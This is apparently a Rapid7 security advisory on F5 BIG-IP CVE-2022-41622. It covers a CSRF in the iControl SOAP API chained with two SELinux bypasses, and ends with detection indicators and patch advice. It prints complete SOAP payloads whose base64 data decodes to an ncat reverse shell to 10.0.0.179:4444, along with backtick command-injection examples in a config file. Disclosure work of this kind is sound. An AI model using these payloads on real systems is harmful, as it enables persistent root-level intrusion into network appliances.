Description

On November 16, 2022, F5 released an advisory in F5 Big-IP related to several vulnerabilities, including CVE-2022-41622, which is a cross-site request forgery issue that can lead to remote code execution. We also leverage additional exposures as part of the exploit chain. We discuss finding and disclosing this vulnerability on the Rapid7 blog

CVE-2022-41622 requires an administrative user to visit an attacker-controlled site that exploits the CSRF in a browser session where they are authenticated to the F5 RPC interface, which requires intimate knowledge of the target network and either a great deal of luck or the ability to socially engineer an administrator.

On the flip side, the endpoint uses HTTP basic authentication, which doesn’t expire (as long as the browser is open), and it doesn’t require the attacker to have network-level access to the management port (since they’re leveraging an administrator’s browser session). The exploit paths we discovered also grant persistent access, even after an update, which makes this slightly more risky.

Overall, due to the difficulty in exploiting this issue, we don’t believe we will see widespread exploitation. We did create a Metasploit module to test your own devices, however.

The affected products are detailed in the vendor’s writeup. We tested these against F5 Big-IP 17.0.0.1.

Technical analysis

F5 Big-IP’s SOAP API (the endpoint /iControl/iControlPortal.cgi) does not have cross-site request forgery (CSRF) protection, nor does it require a correct Content-Type or other typical SOAP API protections. Consequently, if a user (who is authenticated to an F5 Big-IP device) visits an attacker-controlled website (or is redirected there via an open redirect or cross-site scripting), an attacker can run arbitrary SOAP commands against the F5 Big-IP SOAP API in the authenticated user’s session. That could lead to remote code execution in several different ways, which we demonstrated in a proof of concept. Note: several of the exploit paths require SELinux bypasses, which we detail below.

The API endpoint for SOAP requests, iControlPortal.cgi, which is accessible at /iControl/iControlPortal.cgi, is a CGI script that is SetUID root — that is, it executes as root:

# ls -l /usr/local/www/iControl/iControlPortal.cgi
-rwsr-xr-x. 1 root root 2931172 Jul 15 01:13 /usr/local/www/iControl/iControlPortal.cgi

The script authenticates the user via HTTP Basic authentication and accepts XML SOAP requests. The XML API is quite complex with many different API endpoints available to use. We chose the upload_file and create_user_3 endpoints as examples in our PoC, because they demonstrate the impact of the exploit concisely. We didn’t find a way to immediately run code on the target host, but our investigation did not include every possible API endpoint.

The PoC README.md file has full details on the payloads we tested and how to use them to execute arbitrary code at reboot or login. We’ll show two methods we used to execute code via upload_file API calls.

SELinux Bypass via Incorrect File Context

After finding an arbitrary file write SOAP endpoint, we found that SELinux limited our ability to actually exploit the issue. Despite the SOAP endpoint (iControlPortal.cgi) being set-UID root, and therefore executing as a privileged process, it could not create or overwrite sensitive files due to being part of a restricted SELinux context. That means that we couldn’t use obvious attack paths like adding a script to /etc/profile.d or replacing /var/ssh/root/authorized_keys.

We did, however, find exactly one file in /etc/profile.d that was writable from the SOAP process due to it being a symbolic link to another location:

# ls -l /etc/profile.d/timeout.sh
lrwxrwxrwx. 1 root root 31 Jul 15 02:48 /etc/profile.d/timeout.sh -> ../../var/run/config/timeout.sh

# ls -l /var/run/config/timeout.sh 
-r--r--r--. 1 root root 303 Oct 19 15:40 /var/run/config/timeout.sh

If we replace /var/run/config/timeout.sh with our own script via the SOAP interface, which we can (despite the file itself not having write permission), it will execute next time a user logs in via SSH and /etc/profile.d scripts execute. We use that file as a target in our SOAP exploit proof of concept:

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:con="urn:iControl:System/ConfigSync">
   <soapenv:Header/>
   <soapenv:Body>
      <con:upload_file soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
        <file_name xsi:type="xsd:string">/var/run/config/timeout.sh</file_name>
         <file_context xsi:type="urn:System.ConfigSync.FileTransferContext" xmlns:urn="urn:iControl">
            <!--type: Common.OctetSequence-->
            <file_data xsi:type="urn:Common.OctetSequence">IyBSZXN0b3JlIHRoZSBvcmlnaW5hbCBmaWxlCmVjaG8gJ0l3b2pJRlJJU1ZNZ1NWTWdRVTRnUVZWVVR5MUhSVTVGVWtGVVJVUWdSa2xNUlNBdElFUlBJRTVQVkNCRlJFbFVJU0VoQ2lNS0l5QlZjMlVnZEdobElIUnRjMmdnYzJobGJHd2dkWFJwYkdsMGVTQjBieUJ0WVd0bElHTm9ZVzVuWlhNZ2RHOGdkR2hsSUhONWMzUmxiU0JqYjI1bWFXZDFjbUYwYVc5dUxnb2pJRVp2Y2lCdGIzSmxJR2x1Wm05eWJXRjBhVzl1TENCelpXVWdkRzF6YUNBdFlTQm9aV3h3SUhONWN5QnpjMmhrTGdwUVUwOVZWRDFnTDJKcGJpOXdjeUF0TFc1dkxXaGxZV1JsY25NZ0xXOGdkSFI1SUMwa0pHQUthV1lnV3lBaUpIdFFVMDlWVkRvd09qTjlJaUE5UFNBaWRIUjVJaUJkT3lCMGFHVnVDaUFnSUNCbGVIQnZjblFnVkUxUFZWUTlNQXBsYkhObENpQWdJQ0JsZUhCdmNuUWdWRTFQVlZROU1BcG1hUW9LJyB8IGJhc2U2NCAtZCA+IC92YXIvcnVuL2NvbmZpZy90aW1lb3V0LnNoCgojIFBvcCBhIHNoZWxsCm5jYXQgLWUgL2Jpbi9iYXNoIDEwLjAuMC4xNzkgNDQ0NAo=</file_data>
            <chain_type xsi:type="urn:Common.FileChainType">FILE_FIRST_AND_LAST</chain_type>
         </file_context>
      </con:upload_file>
   </soapenv:Body>
</soapenv:Envelope>

F5 argues that this is not a vulnerability, because it requires a different vulnerability to exist before it can be leveraged (as we demonstrated above). As a result, it was not assigned a CVE. However, Rapid7 considers this a vulnerability because it bypasses a security boundary — namely, SELinux. Without these SELinux bypasses, turning an arbitrary file write into code execution would be difficult, since most files an attacker would typically create or replace to exploit a file-write vulnerability (such as adding a script to /etc/profile.d) are blocked.

SELinux bypass via Command Injection in Startup Script

The script /bin/f5_update_checker, which executes at boot, is vulnerable to command injection in its configuration file (/shared/f5_update_action). Several strings in the file are passed directly into shell commands, where arbitrary bash commands can be injected using backticks, semicolons, or any other typical CWE-78 technique.

This one is interesting, because we found it quite early in our research but didn’t recognize its significance until much later. During our initial analysis, f5_update_checker caught our eye because it runs at boot, performs some sort of nebulous update check (ironically, update mechanisms are a common source of security vulnerabilities), and is a 32-bit ELF binary written in C++. Additionally, running strings shows that it uses curl insecurely, with -k:

# strings $(which f5_update_checker)
[...]
curl -g -k -m 30 -s -f -o /dev/null 

When f5_update_checker starts, it loads and parses a configuration file called /shared/f5_update_action, which doesn’t exist by default. In fact, as far as we can tell, absolutely nothing else on the entire operating system is aware of /shared/f5_update_action! Out of curiosity, we reverse engineered the file format from the binary, since the process won’t start without a valid (enough) file, and found it’s line-based and looks something like:

AAA
http://localhost:1234/success
http://localhost:1234/failure
0
0
0
0

The URLs are passed directly into curl with no escaping (not even quotes, in fact), so we can add in arbitrary commands however we like:

AAA
http://localhost:1234/success`touch /tmp/testshellinjection`
http://localhost:1234/failure
0
0
0
0

At the next reboot, f5_update_checker will execute, load the configuration file, pause for two minutes (by design), then execute the command.

At that point, we shelved this as not interesting with the note:

f5_update_checker consumes a file /shared/f5_update_action and grabs a URL from it. That leads to a bunch of problems – shell injection, SSRF, etc. But nothing seems to use any of this, so I guess it’s all a dud.

Much later, we found the SOAP bypass discussed above, but lamented that while we could upload a file to anywhere on the filesystem as root, we couldn’t overwrite anything of value due to SELinux policies! After thinking for way too long, we remembered the seemingly innocuous vulnerability that we’d found a month earlier, recalled that it references a non-extant file, and tested it with SOAP. Sure enough, it worked!

Here is an example of a SOAP request that will plant a malicious /shared/f5_update_action file:

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:con="urn:iControl:System/ConfigSync">
   <soapenv:Header/>
   <soapenv:Body>
      <con:upload_file soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
        <file_name xsi:type="xsd:string">/shared/f5_update_action</file_name>
         <file_context xsi:type="urn:System.ConfigSync.FileTransferContext" xmlns:urn="urn:iControl">
            <!--type: Common.OctetSequence-->
            <file_data xsi:type="urn:Common.OctetSequence">QUFBCmh0dHBzOi8vbG9jYWxob3N0L3N1Y2Nlc3NgbmNhdCAtZSAvYmluL2Jhc2ggMTAuMC4wLjE3OSA0NDQ0YApodHRwczovL2xvY2FsaG9zdC9lcnJvcgowCjAKMAowCg==</file_data>
            <chain_type xsi:type="urn:Common.FileChainType">FILE_FIRST_AND_LAST</chain_type>
         </file_context>
      </con:upload_file>
   </soapenv:Body>
</soapenv:Envelope>

This is an interesting case in which a low-risk vulnerability can actually be meaningfully leveraged, in the right context. Specifically, we found a way to bypass SELinux and create some sneaky persistence.

As with some of the other issues documented here, F5 does not consider this to be a vulnerability and did not assign it a CVE. Rapid7 disagrees with their assessment because SELinux is a security boundary, and bypassing SELinux is a security issue.

IOCs

Unless you’re actively using F5’s SOAP API, any connections to the SOAP endpoint — /iControl/iControlPortal.cgi — should be treated with suspicion.

Calls to upload_file and create_user_3 end up in /var/logs/ltm*, so exploit attempts can be seen there:

# egrep 'upload_file|create_user_3' /var/log/ltm*
/var/log/ltm:Nov 16 10:51:24 bigip.example.org info soap[4269]: src=10.0.0.179, user=admin, method=upload_file, action=
/var/log/ltm:Nov 16 10:54:40 bigip.example.org info soap[4269]: src=10.0.0.179, user=admin, method=create_user_3, action=
/var/log/ltm.1:Nov 15 14:47:11 bigip.example.org info soap[4269]: src=10.0.0.179, user=admin, method=upload_file, action=

Guidance

Administrators should patch their F5 Big-IP devices as per the guidance from the vendor. Additionally, administrators should not browse to untrusted websites in the same browser they use to administer their F5 Big-IP (or other critical equipment).

References

• Vendor advisory
  
• CVE-2022-41622 @ F5
  
• Miscellaneous exposures
  
• Rapid7 Blog
  
• Metasploit module
  
• Metasploit post-exploitation modules